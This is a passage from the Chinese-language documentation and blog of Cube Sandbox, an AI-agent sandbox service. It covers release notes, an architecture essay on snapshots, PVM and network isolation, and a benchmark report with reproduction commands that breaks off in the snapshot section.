[跨机快照](../guide/cross-node-snapshot.md) —— S3 后端下 Pause / Resume / FromSnap 落到其他节点。 * [安全代理](../guide/security-proxy.md) —— CubeEgress 域名过滤与凭据注入。 * [性能基准](../guide/performance-benchmark.md) —— 冷启动、快照与密度数据。 * [模板概览](../guide/templates.md) —— 三步式模板生命周期。 --- --- url: https://cubesandbox.com/zh/blog.md --- --- --- url: https://cubesandbox.com/zh/blog/posts/2026-05-15-welcome.md description: 我们开通博客栏目，用来发布版本说明、技术解读以及围绕 Cube Sandbox 的社区故事。 --- # 欢迎来到 Cube Sandbox 博客 我们正式开通这个博客，用来发布版本说明、技术解读以及围绕 Cube Sandbox 的社区故事。Cube Sandbox 是一个面向 AI Agent 的极速启动、高并发、安全 且轻量化的沙箱服务。 ## 你将看到的内容 * **版本说明**：每个小版本与大版本的发布要点与升级建议。 * **架构解读**：运行时、CubeVS 网络模型、模板系统等深度文章。 * **实践教程**：与主流 Agent 框架的集成实操。 * **社区聚焦**：来自生态的真实落地案例分享。 请保持关注，我们会持续更新。 --- --- url: >- https://cubesandbox.com/zh/blog/posts/2026-05-17-aws-nested-virt-cube-deploy.md description: >- 记录在 AWS EC2 嵌套虚拟化实例（c8i.2xlarge）上部署 Cube Sandbox 的完整过程：环境准备、三个必需补丁（Cubelet、CubeShim、Guest 镜像）、服务启动、模板创建，以及通过 E2B 兼容 SDK 创建 sandbox 的实操与问题记录。 --- --- --- url: https://cubesandbox.com/zh/blog/posts/2026-05-19-cubesandbox-v0.2.2-release.md description: >- 继 v0.2.0 之后，Cube Sandbox 在 5 月 18 日发布了 v0.2.2。本次更新把 E2B 兼容性从 SDK 层延伸到端口协议层，集中修复了 v0.1.x 以来用户反馈的 7 个高频稳定性问题，并完成了 0.2 系列首批 CVE 处置。 --- # Cube Sandbox v0.2.2：E2B 兼容更进一步，高频踩坑集中收敛 继 v0.2.0 之后，Cube Sandbox 在 5 月 18 日晚间发布了 v0.2.2。 相比 v0.2.0，这一版核心做了几方面更新：把 E2B 兼容性从 SDK 层延伸到了端口协议层；闭合了 v0.1.x 以来用户反复反馈的几个高频稳定性问题；处理了 0.2 系列首批 CVE。下面分别展开。 ## 一、兼容性做到协议层，离 E2B "零改造迁移" 又近一步 v0.2.0 时，Cube 的 E2B 兼容只覆盖到 SDK 层——你可以一行代码不改，把客户端从 E2B 切到 Cube，但反向代理、防火墙规则、客户端中写死的端口仍要跟着调整。 v0.2.2 把 sandbox 默认暴露端口从 `8080/32000` 改为 `49983`，与 E2B sandbox 协议对齐。意味着切到 Cube 时，配置文件也不用动了。 这一版还把"默认端口"的来源统一到了 CubeMaster——在此之前，Cubelet 和 network-agent 各自硬编码了一份默认值，运行时容易出现两边不一致。重构后，Cubelet 与 network-agent 不再持有默认值，行为以 CubeMaster 为准。 ## 二、稳定性：集中修复用户高频踩到的 7 个坑 v0.1.x 到 v0.2.0 期间，社区反馈的几个反复踩到的问题，这一版我们做了集中处理： 1. **`cubecli exec` 在 stdin EOF 时的 nil-deref panic**（[#188](https://github.com/TencentCloud/CubeSandbox/pull/188)）：exec 命令在 stdin 关闭瞬间触发空指针，进程被中止但日志不报错，导致用户误以为是网络或权限问题。修复后改用 `errors.Is(err, io.EOF)` 兼容 error wrapping，shim 日志能正常输出成对的 exec req / exit code 条目。 2. **CubeMaster 模板镜像任务重复创建**（[#227](https://github.com/TencentCloud/CubeSandbox/pull/227)）：并发或重试 API 调用会让同一个构建任务被入队两次。这一版给 `template_image` 表加了 `request_id` 列和 `(request_id, operation)` 唯一索引，从数据层做幂等。已有遗留 ID 的旧记录由迁移脚本处理，老用户升级后无需手工干预。 3. **PVM 模板的 ext4 artifact 运行时文件物化**（[#282](https://github.com/TencentCloud/CubeSandbox/pull/282)）：原先 `RefreshArtifactRuntimeFiles`、`validateArtifactRuntimeFilesPresent`、`ensureArtifactRuntimeFiles` 三处逻辑独立、状态不一致。这一版收敛为只处理 kernel 文件，配套单测同步重写。对 PVM 部署用户而言，模板生命周期更可预测。 4. **存储插件命令超时可配置**（[#236](https://github.com/TencentCloud/CubeSandbox/pull/236)）：原本 ext4 操作的 3 秒超时硬编码在代码里，并发场景下大文件 live-create 慢路径会被误杀。新增 `cmd_timeout` 字段写入存储插件的 TOML 配置，运维不需要重新编译就能调整。字段不存在时行为不变。 5. **存储失败的诊断信息**（[#237](https://github.com/TencentCloud/CubeSandbox/pull/237)）：`newExt4RawByReflinkCopy` 失败时的错误日志，从单行 message 改为结构化输出。配套新增 `describeStorageFailure`、`describeFile`、`describeFreeBytes` 单测。 6. **部署脚本支持 `.env` 端口占位符**（[#210](https://github.com/TencentCloud/CubeSandbox/pull/210)）：`cubemaster.yaml` 里的 MySQL/Redis 端口改为 `__CUBE_SANDBOX_MYSQL_PORT__` 和 `__CUBE_SANDBOX_REDIS_PORT__` 占位符，由 `install.sh` 从 `.env` 读取替换。非默认端口部署不再需要手工改 YAML。 7. **模板镜像下载体验优化**：快速体验镜像从 4G 瘦身到 100M 左右，下载失败率和首次启动等待时间都明显下降。配合两周前上线的海外镜像仓库地址，海外用户拉镜像的卡顿问题也一并改善。 ## 三、安全：v0.2 系列首批 CVE 处置 * **`vmm-sys-util` 0.11.x → 0.12.1**：闭合 CVE-2023-50711。原版本 `FamStructWrapper::deserialize` 不校验 header 长度与 flexible-array 长度匹配，安全 Rust 代码可能产生越界内存访问。 * **`bytes`、`env_logger` 同步升级**：同一轮 PR（[#267](https://github.com/TencentCloud/CubeSandbox/pull/267)）刷新依赖。 * **`time` crate 升级回滚（CVE-2026-25727）**：升级需要 MSRV bump，团队评估后确认 Cube 仅使用 `time::format_description::well_known::Rfc3339` 做出站时间戳格式化，从不对不可信输入调用 `Rfc2822` 解析，受影响攻击向量不可达。等 MSRV 准备好再单独推。 ## 四、第一期共建计划同步上线 v0.2.2 同时上线了 Cube Sandbox 第一期共建计划，仓库新增了三个面向社区贡献的文档专区： * **Troubleshooting**：避坑指南，用户分享部署、配置、报错的踩坑记录； * **Use Cases**：应用案例，用户分享真实业务场景下用 Cube 解决的具体问题； * **Integrations**：生态集成，用户分享 Cube × LangChain / Dify / Claude Code / OpenHands 等组合的接入实践。 每个专区都有模板和 index 页，提交方式参考仓库根目录 `CONTRIBUTING_zh.md`。 欢迎大家前来贡献，你的 PR 合入后即有机会获得：Cube Sandbox 官方贡献者证书 + 官网荣誉墙永久署名 + 新版本优先体验 + 限量开源周边。 * 任务大厅：<https://github.com/TencentCloud/CubeSandbox/contribute> * 完整 Release Note：<https://github.com/TencentCloud/CubeSandbox/releases/tag/v0.2.2> --- --- url: https://cubesandbox.com/zh/blog/posts/2026-05-22-cube-pvm-on-opencloudos9.md description: >- 一份在普通云服务器上、基于 OpenCloudOS 9，把 Cube Sandbox PVM 部署所需的前置环境一次性盘清楚的实操指南：操作系统选型、内核版本、依赖准备，到一键部署前的所有准备步骤。 --- --- --- url: https://cubesandbox.com/zh/blog/posts/2026-05-22-from-serverless-to-agent.md description: >- 从服务 Serverless 场景多年打磨而来的 Cube 系统，如何把"高密、高弹性、高并发、强隔离"的能力延展到 Agent 时代。本文系统性地梳理了 Cube 的核心设计——分布式调度+单机装箱、资源池化、前后端解耦、快照恢复+lazy load、资源复用、全栈锁优化、原生安全、复用虚拟机资源——以及面向 Agent 场景的扩展：极速代码执行、Agentic RL、镜像加速系统、基于快照的分支克隆、事件级快照与回滚。 --- # 从 Serverless 到 Agent：Cube 系统的一些设计思考 ## 一、背景 2019 年，Berkerley 发表了一篇关于 Serverless 的文章："Cloud Programming Simplified: A Berkeley View on Serverless Computing"，将 Serverless 带入大家的视野。Serverless 带来了几大核心挑战： 1. **资源粒度小**：不同于传统虚拟机提供了一个机器的资源抽象，Serverless 提供了一个应用乃至一个函数的资源抽象。 2. **极速冷启动**：Serverless 提供了资源按需申请、按量付费的模式，需要按需申请、及时响应。 3. **海量并发**：按需申请、用完即毁的模式意味着每次请求对应后台一次真实的资源创建，并发量是传统虚拟机的千倍以上。 传统的云计算 IaaS 为虚拟机负载而设计，无论是资源的粒度、冷启动速度还是并发能力都远远低于 Serverless 的要求。早期腾讯云的做法是在传统虚拟机之上建设一个预创池，用成本换体验，但带来了成本过高（0.1C128M 的资源需求实际占用 1C1G 的虚拟机资源；大量闲置的预创资源）和体验不佳（预创池打穿回归虚拟机体验）等问题。 建设一个原生解决 Serverless 挑战的系统，成为 Cube 系统的设计初衷。 ## 二、核心设计 ### 2.1 分布式调度 + 单机装箱 调度由中心的分布式调度和每个节点的本地装箱两部分构成，两部分都可以线性平行扩展整个系统的并发能力。与其他系统的集中式调度不同，Cube 可以实现分布式调度依据于两个前提： 1. Cube 的资源层每个节点足够大（大配置裸金属或虚拟机），结合 Cube 本身的轻量化高密设计（单节点超过 1K 的沙箱密度），单节点有足够的 buffer 容纳轻微的调度偏差； 2. Serverless 负载的生命周期普遍不长，单节点上的 Sandbox 始终处于动态变化的状态。 同时，单机装箱如果实在无法满足，依然可以反馈到调度层重新调度兜底。 ### 2.2 资源池化 + 单机闭环 单机装箱是节点内本地闭环的操作，所有沙箱需要的资源提前预准备池化，沙箱的生产就是从各种资源池中取出资源进行拼装的过程。这个设计加速了沙箱的启动速度，同时减少了节点内不同沙箱并发生产的路径碰撞，提高了单机的并发生产能力。 ### 2.3 前后端解耦 沙箱内部系统完全无状态，所有的状态保存在虚拟化后端，大幅简化沙箱批量克隆的技术设计。 ### 2.4 快照恢复 + lazy load Cube 系统下所有的沙箱都是基于模板恢复的创建，沙箱内部系统的无状态大大简化了这里的工作。Cube 沙箱的生产过程中，沙箱自身的恢复和后端配置的刷新可以并发进行，百毫秒内就可以端到端完成一个可服务沙箱的交付。基于快照恢复的沙箱生产逻辑链路极短，减小了沙箱并发生产的资源抢占和逻辑碰撞，成为 Cube 单机并发能力提升的一个关键因素。 基于快照的启动还隐含了 EPT 页表的 lazy load 机制，所有快照没有 touch 的沙箱内存都是按需建立 EPT 映射——把所有该做的事情延迟到真正需要的时候再做，是保证启动速度的一项关键设计，这个思想也在 Cube 系统的多个设计中体现。 对于高 IO 性能的硬件直通场景，业界的做法是提前将沙箱的内存完全 PIN 住建立 DMA 映射关系，方便硬件访问，但这会大大影响沙箱的启动速度，且启动速度与沙箱内存大小强相关。Cube 自研了基于 virtio 的 PVDMA 技术，在硬件真正需要访问内存的时候才去建立 DMA 映射关系，将硬件直通沙箱的启动时延依然控制在百毫秒级别，且 IO 性能基本无影响。 ### 2.5 资源复用 + 按需申请 **所有只读存储整节点只存储一份是 Cube 系统的设计目标**。通过沙箱内外打通的方式，沙箱内部的存储实际都是由外部统一提供，包括沙箱自身的 rootfs、kernel、容器镜像等。**对于大部分性能不敏感的场景，我们甚至让只读存储的 page cache 整节点也只有一份。** 基于同一个内存快照文件克隆的沙箱，采用 mmap 方式共享内存快照，天然会共享内存中未修改的部分——譬如内核的代码段启动完后基本就不会修改，整个节点可以共享一份内核的代码段，单沙箱因此至少可以节省 30M+ 的内存消耗。 基于同一个磁盘快照文件克隆的沙箱，会采用 reflink 的方式共享同一个磁盘文件，真正的磁盘块在真实写入发生的时候才会真实分配。 所有这些优化，从单个沙箱视角看，带来的资源节省可能非常有限，但是考虑到我们在打造一个高密系统，整个节点层面会节省 10% 以上的内存，而在实际业务场景中，存储空间消耗直接减少 90% 以上。 ### 2.6 全栈锁优化 很多小细节的优化聚沙成塔，最终为 Cube 系统的单机超高并发以及高并发下的时延稳定性打下了很好的基石。 ### 2.7 原生安全 沙箱内部是不可信任域，完全交给用户使用，所有和内部敏感系统的交互以及资源的准备都在沙箱外部完成，而内部和外部通过硬件虚拟化的方式进行隔离。Cube 基于 ivshmem 自研了高性能的内外通信通道，用于沙箱内外的协作。 沙箱的网络天然是受限的：所有沙箱的被动请求必须经过 CubeProxy，匹配到转发规则的才会转发到沙箱内；所有沙箱的主动外访必须经过 CubeGW；所有沙箱的网络 IO 都必须经过节点上的 CubeVS。沙箱无论是被动访问还是主动访问都有必然经过的网络节点，这也为后续的审计和网络策略控制等能力扩展留下了空间。 ### 2.8 复用虚拟机资源 Cube 使用了 KVM 虚拟化技术来保证安全隔离能力，但嵌套虚拟化存在性能损耗过大的问题，所以行业类似的轻量虚拟化技术都运行在物理机上，这会大大减少 Cube 可以使用的资源。为了解决这个问题，Cube 基于社区的 PVM 方案进行了改良和优化——PVM 基于 PV 技术提供完整的 Linux 内核虚拟化方案，不依赖硬件虚拟化，相比嵌套虚拟化无需 L0 虚拟化辅助 L1 虚拟化，并提供更短的 EPT violation 虚拟化路径。 ### 2.9 总结 基于以上的设计，我们最终打造了一个具备高密、高弹性、高并发能力的虚拟化系统： * **高密**：单台 96 vCPU 物理机可以生产 2K 台以上 0.1vCPU、128MB 配置的 Sandbox； * **高弹性**：镜像就绪的前提下 60ms 内可以从 0 生产出一台直接可服务的 Sandbox； * **高并发**：单台 96vCPU 物理机空载情况下可以支撑 100 并发的长时间瞬时压力创建请求，且 P99 耗时小于 200ms。 ## 三、从 Serverless 到 Agent 从去年开始，AI 应用逐步从"对话式"向"执行式"发展，作为执行大模型生成代码的代码沙箱，对于高弹性及高并发依然有着极高的要求；而执行环境的安全隔离能力，成为 Agent 沙箱最基本的要求。Cube 之前服务 Serverless 场景打磨的高并发、高弹性、强安全隔离能力，在 Agent 场景依然有用武之地。 ### 3.1 极速的代码执行场景 Agent 代码执行场景，需要底层沙箱具备快速启动能力和高并发能力。元宝代码执行接入基于 Cube 沙箱打造的 AGS 产品后，体验大幅提升。 ### 3.2 高并发的 Agentic RL 场景 Coding RL 场景需要同时拉起大量沙箱进行结果的验证，对大规模并发能力有很高要求。 搭配一个高吞吐的分布式存储，Cube 的高并发能力在 Agentic RL 场景具有非常明显的优势——某外部头部大模型客户使用基于 Cube 对应商业化版本，1 分钟可以拉起数十万实例，行业领先，大大提高了 RL 训练的效率。 ### 3.3 块级去重 + 按需加载的镜像加速系统 使用共享的分布式存储很好地解决了 Agentic RL 场景海量镜像的问题，但同时带来了两个问题： 1. 镜像的大部分内容相同，浪费了大量的存储空间； 2. 单节点的高并发短生命周期沙箱创建，会对后端共享存储带来很大的 IO 吞吐冲击。 Cube 自研了镜像加速系统来解决这两个问题： 1. 镜像分块去重解决重复内容存储的问题，去重效率远远高于传统的 layer 级去重； 2. 块级的三级缓存按需加载机制，减少对后端存储的吞吐压力； 3. 大部分镜像用低成本 COS 存储，成本大幅下降。 ### 3.4 基于快照的分支克隆 快照技术是 Cube 系统最关键的技术之一。在 Agent 场景，快照技术可以适用在更多的场景：譬如对一个运行中的沙箱打快照，并进行 1:N 的 Clone 进行分支探索任务；或者通过快照保存特定的任务状态，作为后续其他任务的一个状态起点。 ### 3.5 面对 Agent 的安全与防御 当沙箱的使用者从人写的程序变为 Agent 之后，安全性和防御性便成为考虑的重点。Agent 行为具有概率属性，无法提前预测，不同于人写的程序可以通过大量的事前手段保证行为符合预期，Agent 只能通过事中或事后的手段来保证这点，这对 Infra 的安全能力和防御能力提出了更高的要求。 #### 3.5.1 安全扩展 Cube 系统具有原生的沙箱安全和网络安全能力，这两方面能力都可以进一步扩展： * 沙箱内是完全硬件隔离的 OS 环境，Agent 任何行为的影响域局限在沙箱内部；沙箱内内核级的敏感行为采集配合高性能的沙箱内外通信通道，可以实现对 Agent 高危行为的审计，后续也可以进一步拓展为针对 Agent 高危行为的准入控制。 * 沙箱的被动访问路径必然经过 CubeProxy，这个点可以扩展准入安全策略的能力；沙箱的主动访问路径必然经过 CubeVS 和 CubeGW，这两个点都可以导出流量扩展准出安全策略、敏感信息注入等高阶安全能力。 #### 3.5.2 防御能力：事件级的无感快照和回滚（即将开源） Agent 的不可预期行为可能造成严重的影响，对个人可能是文档资料的彻底删除，对企业可能是数据库内容的删除，即便辅以再严格的事中安全策略也难免——**系统的事件级快照和回滚能力成为面对 Agent 用户的关键设计**。 对于沙箱而言，我们需要具备事件级的环境快照能力（包括可写磁盘快照和内存快照）。 为了满足这种高频次、对用户基本无感知的快照能力诉求，Cube 设计实现了一套 CoW 存储——通过将块存储的索引和实际数据块分离，快照的过程仅仅只是复制一份数据块索引，实际的数据块只在真实写入的时候 CoW 真实分配，实现了百毫秒级的海量环境快照能力。这套机制为沙箱的事件级快照回滚提供了很好的基础。 这种事件级快照和回滚能力不应该仅仅局限在沙箱上，最终应该扩展到整个 Agent Infra，形成整个 Agent Infra 原生的事件级快照和回滚能力，为整个 Agent Infra 面对 Agent 的不可预测行为提供足够强的防御能力。 ## 四、展望 系统上运行的逻辑由人类编写的程序变为 Agent 后，很多东西都改变了。最典型的改变是整个运行的基础由人类精确约束的逻辑机器变为了一个概率性的运行时，而与这个体系的交互从约定俗成的通信协议变成了自然语言。Agent 本身的能力也随着 LLM 能力的进化而变化，此消彼长。这是一个完全不一样的世界，而且飞速变化着。 但是目前承载这个飞速演进的应用形态的基础设施并没有特别大的变化。Anthropic 在 4.9 发布的 Managed Agent 或许可以认为是一个很好的起点——与完全由虚拟机/容器独立承载整个 Agent 不同，它将 Agent 解耦为：大脑（决策与执行循环）、双手（执行环境、工具等）和会话（不可变持久化数据、可重放），期望每一个独立的 Agent 请求都跑在完全独立的沙箱环境中。 Cube 正在打造的事件级快照回滚、分支探索、强安全控制等能力或许可以成为"大脑"的一个良好载体；Cube 多年打磨的"极快启动、超大并发、超高密度"等技术能力或许可以作为"双手"的一个最佳匹配。**我们也会将 Cube 系统完整地向行业开源，希望我们多年持续打磨和建设的能力能够为行业 Agent Infra 的发展贡献一份力量。** --- --- url: https://cubesandbox.com/zh/blog/posts/2026-06-01-cubesandbox-perf-benchmark.md description: >- 本文公布 CubeSandbox 在真实裸金属节点上的性能基准测试数据，涵盖基于 Template 创建沙箱（冷启动延迟、并发扩展、单机密度）以及 Snapshot 相关操作（Snapshot 制作、基于 Snapshot 启动、Rollback、Clone）。每节附完整复现命令，读者可按步骤在自己的环境中复现测试。 --- # CubeSandbox 核心操作性能基准测试报告 ## 一、前言 CubeSandbox 面向 AI Agent 代码执行场景设计，极速冷启动和高并发是最关键的两项指标。本文给出在真实裸金属节点上测量的性能基准数据，分为两大部分： * **第三章：基于 Template 创建沙箱** — 启动延迟、并发扩展能力、单机部署密度 * **第四章：Snapshot 相关操作** — Snapshot 制作、基于 Snapshot 启动沙箱、Rollback、Clone 每节均附有完整的测试命令，读者可直接照步骤在自己的环境中复现。 **重要说明：所有测试数据与测试环境、测试场景高度相关。** 影响因子包含但不限于：Host 的 CPU、内存、IO 性能，以及 Sandbox 内部负载（例如 Sandbox 中运行的程序越复杂、脏页越多，Snapshot 制作耗时也随之上升）。实际部署时请结合自身硬件和负载情况进行评估。 *** ## 二、测试环境 ### 2.1 硬件信息 | 项目 | 详情 | |------|------| | 机器类型 | 腾讯云[内存型裸金属云服务器 BMI5](https://cloud.tencent.com/document/product/386/63404)（可在腾讯云控制台购买同款） | | OS | OpenCloudOS (TencentOS Server 4) kernel 6.6.119 x86\_64 | | CPU 型号 | Intel(R) Xeon(R) Platinum 8255C @ 2.50GHz | | CPU 配置 | 2 Socket × 24 Core × 2 Thread = **96 逻辑核** | | NUMA 节点 | 2（node0: 0-23,48-71 / node1: 24-47,72-95） | | 内存总量 | **375 GiB** DDR4-2933 MT/s ECC | | 数据盘 | `/dev/nvme0n1` 3.84 TB Intel SSDPE2KX040T8 NVMe SSD，格式化为 XFS，挂载至 `/data` | > **BMI5**（内存型裸金属，Memory-optimized Bare Metal Instance 5）是腾讯云面向大内存、高密度部署场景推出的裸金属实例规格，提供物理机级别的隔离与性能，无虚拟化损耗，支持嵌套虚拟化，特别适合 CubeSandbox 这类需要运行大量轻量级 VM 的场景。如需复现本文测试，可前往[腾讯云裸金属购买页](https://buy.cloud.tencent.com/bm)选购同款。 > 安装 CubeSandbox 请参照[裸金属部署指南](../../guide/bare-metal-deploy.md)。 ### 2.2 沙箱规格与模板制作 所有测试统一使用以下规格的沙箱： | 项目 | 详情 | |------|------| | 规格 | 2 vCPU / 2 GiB 内存 | | 测试镜像 | `cube-sandbox-cn.tencentcloudcr.com/cube-sandbox/sandbox-code:latest` | | 存储 | CoW reflink（XFS，`/data/cubelet/storage/`） | | 内存追踪 | soft-dirty（`/proc/PID/clear_refs`） | 测试前需先制作模板（国内使用 `cn` 镜像仓库，境外使用 `int`）： ```bash cubemastercli tpl create-from-image \ --image cube-sandbox-cn.tencentcloudcr.com/cube-sandbox/sandbox-code:latest \ --writable-layer-size 1G \ --expose-port 49999 \ --expose-port 49983 \ --probe 49999 ``` 等待构建完成后，记录模板 ID： ```bash # 查看模板列表，取第一行 tpl- 开头的 ID cubemastercli tpl list ``` ### 2.3 指标说明 | 指标 | 含义 | |------|------| | **avg** | 多轮测试的平均值 | | **min** | 最小值 | | **p95** | 第 95 百分位（95% 的请求都在此时间内完成） | | **max** | 最大值 | | **wall** | 整批操作的端到端耗时（从第一个请求发出到最后一个完成），用于并发场景 | | **per** | 单次操作的均摊耗时（wall ÷ 本批操作数），用于并发场景 | 所有时间单位均为**毫秒（ms）**。每轮测试开始前执行 **Warm-up**（首轮结果丢弃），消除 page cache 冷读干扰；并发测试的各轮次之间串行发起，无交叉并发。 *** ## 三、基于 Template 创建沙箱 本章测试「从零启动一个可用沙箱」的端到端耗时，即调用 `POST /sandboxes`（指定 `template_id`）到沙箱进入 `running` 状态的时间。这是最常见的使用场景。 ### 3.1 环境准备与验证 **第一步：安装 Python SDK 并设置环境变量** ```bash pip install e2b-code-interpreter export E2B_API_URL=http://<your-server-ip>:3000 export E2B_API_KEY=e2b_000000 # 本地部署填任意非空字符串 export CUBE_TEMPLATE_ID=<your-template-id> # 上一步 cubemastercli tpl list 查到的 ID export SSL_CERT_FILE=/root/.local/share/mkcert/rootCA.pem # mkcert 证书路径 ``` **第二步：跑一个 Hello World 验证环境正常** 在执行任何基准测试前，先运行以下脚本确认沙箱可以正常创建和执行代码： ```python import os from e2b_code_interpreter import Sandbox with Sandbox.create(template=os.environ["CUBE_TEMPLATE_ID"]) as sandbox: result = sandbox.run_code("print('Hello from Cube Sandbox, safely isolated!')") print(result) print("✅ 环境验证通过，可以开始基准测试") ``` 保存为 `hello.py` 并执行： ```bash python hello.py ``` 看到 `✅ 环境验证通过` 字样即说明 CubeSandbox 部署正常，可继续后续测试。如果报错，请先参考 [Quick Start](../../guide/quickstart.md) 排查环境问题。 ### 3.2 启动延迟与并发扩展 使用 [`cube-bench`](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/cube-bench) 工具测量不同并发度下的沙箱创建延迟。`cube-bench` 用 Go 协程并发驱动 CubeAPI，测量结果包含完整百分位统计。 **编译工具（需要 Go 1.21+）：** ```bash cd examples/cube-bench make # 产出: ./bin/cube-bench ``` **执行测试（以 1 并发、50 并发为例）：** ```bash # 设置环境变量 export E2B_API_URL=http://<your-server-ip>:3000 export E2B_API_KEY=e2b_000000 export CUBE_TEMPLATE_ID=<your-template-id> # 1 并发，共 20 次，仅创建（不删除） ./bin/cube-bench -c 1 -n 20 -w 3 -m create-only # 50 并发，共 500 次 ./bin/cube-bench -c 50 -n 500 -w 3 -m create-only # 导出 JSON 报告 ./bin/cube-bench -c 50 -n 500 -w 3 -m create-only -o report_c50.json ``` > `-w 3` 表示先做 3 轮热身，热身结果不计入统计。 **测试数据（腾讯云 BMI5 裸金属，2 vCPU / 2 GiB 沙箱）：** | 并发 | 请求数 | avg | min | p95 | max | 单沙箱均摊 | 吞吐 | |:----:|:------:|----:|----:|----:|----:|----------:|-----:| | 1 | 20 | 47.8 ms | 43.5 ms | 57.4 ms | 60.4 ms | 55.8 ms | 17.9 个/s | | 10 | 200 | 88.7 ms | 45.8 ms | 116.9 ms | 119.1 ms | 9.9 ms | 101.4 个/s | | 20 | 300 | 98.1 ms | 47.7 ms | 175.8 ms | 232.6 ms | 5.5 ms | 180.9 个/s | | 50 | 500 | 276.1 ms | 60.6 ms | 508.4 ms | 681.3 ms | 6.8 ms | 147.6 个/s | > 「单沙箱均摊」= 该档总耗时（wall time）÷ 请求数；「吞吐」为对应的每秒创建沙箱数。各档均独立测试，档间清空所有沙箱并留出资源池恢复时间，避免相互干扰。所有档位成功率均为 **100%**。 **关键结论：** * 单并发创建延迟约 **48 ms**（min 43.5 / p95 57.4），全程在百毫秒级以内 * 并发提升带来明显吞吐增益：20 并发吞吐达 **180.9 个/s**，单沙箱均摊从 1 并发的 55.8 ms 降至 5.5 ms * 50 并发下单条创建延迟随队列加深拉长（p95 508 ms、max 681 ms），但吞吐仍维持在 147.6 个/s；在并发与单条延迟之间，20 并发是该机型的吞吐甜点 ### 3.3 单机部署密度（内存开销） CubeSandbox 通过内核共享与写时复制（CoW）将自身额外开销压缩到极低水平。本节通过「清空机器 → 分批启动沙箱 → 记录内存变化」的方式，实测单实例净开销。 > ⚠️⚠️⚠️ **重要安全提醒** > > **每次启动沙箱前，务必先用 `free -h` 确认机器剩余内存充足，每次只启动少量，边启动边观察内存余量，确认安全后再继续下一批，切勿一次性启动过多！** 内存耗尽会触发 OOM Killer，轻则进程被杀，重则损坏运行环境，需重新部署。请根据自己机器的实际内存容量决定每批启动的数量。 **第一步：记录基线（空机内存）** ```bash # 设置环境变量（与 §3.2 一致；换新终端窗口需重新 export） export E2B_API_URL=http://<your-server-ip>:3000 export E2B_API_KEY=e2b_000000 # 本地部署填任意非空字符串 export CUBE_TEMPLATE_ID=<your-template-id> # cubemastercli tpl list 查到的 ID # 确保没有残留沙箱（SANDBOX_COUNT 应为 0） cubemastercli list # 记录空机内存用量 free -h # 同时记录 shim 进程数（应为 0） ps --no-headers -C containerd-shim-cube-rs | wc -l ``` **第二步：分批启动沙箱，每批结束后用 `free -h` 记录当前已用内存** 用 `cube-bench` 的 `create-only` 模式批量创建并保持沙箱存活。根据机器内存量，累计启动到 100 / 300 / 500 / 1000 个（以下示例供参考，请按实际情况调整）： ```bash # 设置环境变量（与 §3.2 一致；换新终端窗口需重新 export） export E2B_API_URL=http://<your-server-ip>:3000 export E2B_API_KEY=e2b_000000 # 本地部署填任意非空字符串 export CUBE_TEMPLATE_ID=<your-template-id> # cubemastercli tpl list 查到的 ID # 启动到 100 个 ./bin/cube-bench -c 50 -n 100 -m create-only free -h # 记录此时已用内存 # 再启动 200 个（累计 300） ./bin/cube-bench -c 50 -n 200 -m create-only free -h # 再启动 200 个（累计 500） ./bin/cube-bench -c 50 -n 200 -m create-only free -h # 如机器内存充足，再启动 500 个（累计 1000） ./bin/cube-bench -c 50 -n 500 -m create-only free -h ``` **第三步：计算单实例开销** 用「当前已用内存 - 基线已用内存」除以沙箱数即可： ``` 单 VM 均摊开销 = (当前 used - 基线 used) ÷ VM 数量 ``` **测试数据（腾讯云 BMI5，2 vCPU / 2 GiB 规格沙箱，create-only 累积存活）：** | 存活沙箱数 | 系统可用内存（free available） | 单 VM 均摊开销 | |:---------:|:----------------------------:|:-------------:| | 0（基线） | 359.5 GiB | — | | 100 | 357.4 GiB | **~21.5 MB** | | 300 | 352.5 GiB | **~23.8 MB** | | 500 | 347.3 GiB | **~25.0 MB** | | 1000 | 334.3 GiB | **~25.7 MB** | > 实测 0→1000 全部创建成功、零回滚，单 VM 均摊开销稳定收敛在 ~25 MB（随密度从 21 MB 缓升至 26 MB），始终在数十 MB 量级——这正是 CoW + 内核页共享的效果：2 GiB 规格的沙箱空载时**并不预占满 2 GiB**，只在实际写入时按需分配。1000 个沙箱仅耗约 25 GiB 内存，距 375 GiB 内存上限仍有极大余量。 **调大 tap 预建池的操作步骤：** tap 池目标数由 cubelet 配置中的 `tap_init_num` 指定（默认 **500**），该参数现在由 **cubelet 内置 network runtime** 消费并预建 tap 设备，因此修改后需重启 **cubelet** 使其生效。目标密度需在该值以内——例如要压测到 1000 个沙箱，需先将 `tap_init_num` 调到 1000（或更高）。 ```bash # 1. 编辑 cubelet 配置，调大 [plugins."io.cubelet.internal.v1.network"] 段下的 tap_init_num vi /usr/local/services/cubetoolbox/Cubelet/config/config.toml # [plugins."io.cubelet.internal.v1.network"] # tap_init_num = 1000 # 默认 500；压测 1000 需调到 1000 以上 # 2. 重启 cubelet，使内置 network runtime 按新目标重新预建 tap 池 systemctl restart cube-sandbox-cubelet.service ``` **单机可运行实例数估算（BMI5，375 GiB 内存）：** ``` 满载场景（每沙箱实际写满 2 GiB）：375 GiB ÷ (2 GiB + ~25 MB) ≈ 185 个 空载/轻载场景（CoW 按需分配）：受均摊开销 ~25 MB 主导，可达数千个，实测已稳定承载 1000 个仅耗 ~25 GiB ``` *** ## 四、Snapshot 相关操作 Snapshot 是 CubeSandbox 的核心功能之一，支持在运行中的沙箱上制作内存 + 文件系统快照，后续可基于快照极速恢复（Clone / Rollback）。 **安装依赖：** ```bash cd examples/snapshot-rollback-clone pip install -r requirements.txt # 安装 cubesandbox SDK # 以下环境变量为所有 4.x 压测脚本的前置，每个新 shell 都需先 export（或写入 env.sh 后 source） export CUBE_API_URL=http://<your-server-ip>:3000 export CUBE_TEMPLATE_ID=<your-template-id> # cubemastercli tpl list 查到的 ID export CUBE_PROXY_NODE_IP=<your-cubeproxy-ip> # 在 CubeProxy 本机运行时可写 127.0.0.1 export CUBE_PROXY_PORT_HTTP=80 # CubeProxy 监听端口, 默认 80 ``` > 下文 4.1~4.5 各节命令块默认你已在当前 shell 完成上述 `export`（脚本通过 `env.py` 读取这些变量）。换新终端窗口请重新 export。 ### 4.1 Snapshot 制作耗时与并发的关系 **测试方式：** 在运行中的沙箱上调用 `POST /sandboxes/{id}/snapshots`，N 并发时同时对 N 个沙箱各发起一次快照请求，测量整批完成的 wall time。 > CubeSandbox 对**同一个沙箱**的快照请求内部串行化，因此并发测试中每个沙箱对应独立的快照请求，实际成功数等于并发数。 